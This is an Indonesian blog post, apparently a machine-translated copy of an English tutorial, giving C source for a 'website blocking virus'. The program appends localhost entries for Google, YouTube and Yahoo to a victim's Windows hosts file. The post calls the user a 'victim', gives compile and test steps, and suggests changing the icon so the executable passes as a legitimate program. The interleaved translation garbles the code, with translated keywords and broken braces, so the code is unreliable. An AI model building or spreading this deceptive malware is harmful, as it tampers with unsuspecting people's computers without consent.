Kamis, 10 Juni 2010

block site

Sebagian besar dari kita akrab dengan virus yang digunakan untuk memblokir situs Orkut dan Youtube. If you are curious about creating such a virus on your own, here is how it can be done. As usual I'll use my favorite programming language 'C' to create this website blocking virus. Jika Anda ingin tahu tentang cara membuat virus seperti Anda sendiri, di sini adalah bagaimana hal itu bisa dilakukan. Seperti biasa saya akan menggunakan bahasa pemrograman favorit saya 'C' untuk membuat virus memblokir website ini. I will give a brief introduction about this virus before I jump into the technical jargon. Aku akan memberikan pengantar singkat mengenai virus ini sebelum aku melompat ke bahasa teknis.

This virus has been exclusively created in 'C' . Virus ini telah diciptakan secara eksklusif di 'C'. So, anyone with a basic knowledge of C will be able to understand the working of the virus. Jadi, siapa pun dengan pengetahuan dasar tentang C akan dapat memahami kerja virus. This virus need's to be clicked only once by the victim. Virus ini perlu yang harus kita diklik hanya sekali oleh korban. Once it is clicked, it'll block a list of websites that has been specified in the source code. Setelah diklik, itu akan memblokir daftar situs Web yang telah ditetapkan dalam kode sumber. The victim will never be able to surf those websites unless he re-install's the operating system. Korban tidak akan pernah dapat menjelajahi situs web tersebut kecuali dia ulang yang menginstal sistem operasi. This blocking is not just confined to IE or Firefox . Pemblokiran ini tidak hanya terbatas pada IE atau Firefox. So once blocked, the site will not appear in any of the browser program. Jadi sekali diblokir, situs tidak akan muncul dalam salah satu dari program browser.

NOTE: You can also block a website manually. CATATAN: Anda juga dapat memblokir situs web secara manual. But, here I have created a virus that automates all the steps involved in blocking. Tapi, di sini aku telah membuat sebuah virus yang mengotomatisasi semua langkah yang terlibat dalam menghalangi. The manual blocking process is described in the post How to Block a Website ? Proses pemblokiran manual digambarkan dalam pos Cara Block a Website?

Here is the sourcecode of the virus. Berikut adalah kode sumber virus.

#include # include
#include # include
#include # include

char site_list[6][30]={ char site_list [6] [30] = (
“google.com”, "Google.com",
“www.google.com”, "Www.google.com",
“youtube.com”, "Youtube.com",
“www.youtube.com”, "Www.youtube.com",
“yahoo.com”, "Yahoo.com",
“www.yahoo.com” "Www.yahoo.com"
}; );
char ip[12]=”127.0.0.1″; char ip [12] = "127.0.0.1";
FILE *target; FILE * target;

int find_root(void); int find_root (void);
void block_site(void); block_site void (void);

int find_root() int find_root ()
{ (
int done; int selesai;
struct ffblk ffblk;//File block structure struct ffblk ffblk; / / File struktur blok

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )

else return 0; else return 0;
} )

void block_site() void block_site ()
{ (
int i; int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/ fseek (target, 0, SEEK_END); / * untuk pindah ke akhir file * /

fprintf(target,”\n”); fprintf (target, "\ n");
for(i=0;i<6;i++) for (i = 0; i <6; i + +)
fprintf(target,”%s\t%s\n”,ip,site_list[i]); fprintf (target, "% s \ t% s \ n", ip, site_list [i]);
fclose(target); fclose (target);
} )

void main() void main ()
{ (
int success=0; int sukses = 0;
success=find_root(); sukses = find_root ();
if(success) if (sukses)
block_site(); block_site ();
} )

How to Compile ? Cara Compile?

For step-by-step compilation guide, refer my post How to compile C Programs . Untuk langkah-demi-langkah panduan kompilasi, lihat saya posting Cara untuk mengkompilasi C Program.

Testing Pengujian

1. 1. To test, run the compiled module. Untuk menguji, jalankan modul terkompilasi. It will block the sites that is listed in the source code. Ini akan memblokir situs yang terdaftar dalam kode sumber.

2. 2. Once you run the file block_Site.exe , restart your browser program. Setelah Anda menjalankan file block_Site.exe, restart program browser. Then, type the URL of the blocked site and you'll see the browser showing error “ Page cannot displayed “. Kemudian, ketik URL situs yang diblokir dan Anda akan melihat browser menampilkan kesalahan "Halaman tidak dapat ditampilkan".

3. 3. To remove the virus type the following the Run. Untuk menghapus virus tipe berikut Run.
%windir%\system32\drivers\etc % windir% \ system32 \ drivers \ etc

4. 4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you'll see something like this Sana, buka file bernama "hosts" menggunakan notepad.At bagian bawah file dibuka, Anda akan melihat sesuatu seperti ini

127.0.0.1 ————————— google.com --------- 127.0.0.1 google.com

5. 5. Delete all such entries which contain the names of blocked sites. Hapus semua entri tersebut yang berisi nama-nama situs yang diblokir.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ? CATATAN: Anda juga dapat mengubah ICON virus agar terlihat seperti metode yang sah program.This dijelaskan di post: Cara Mengubah ICON sebuah file EXE?

http://www.facebook.com/group.php?gid=132501456200

Tidak ada komentar:

Posting Komentar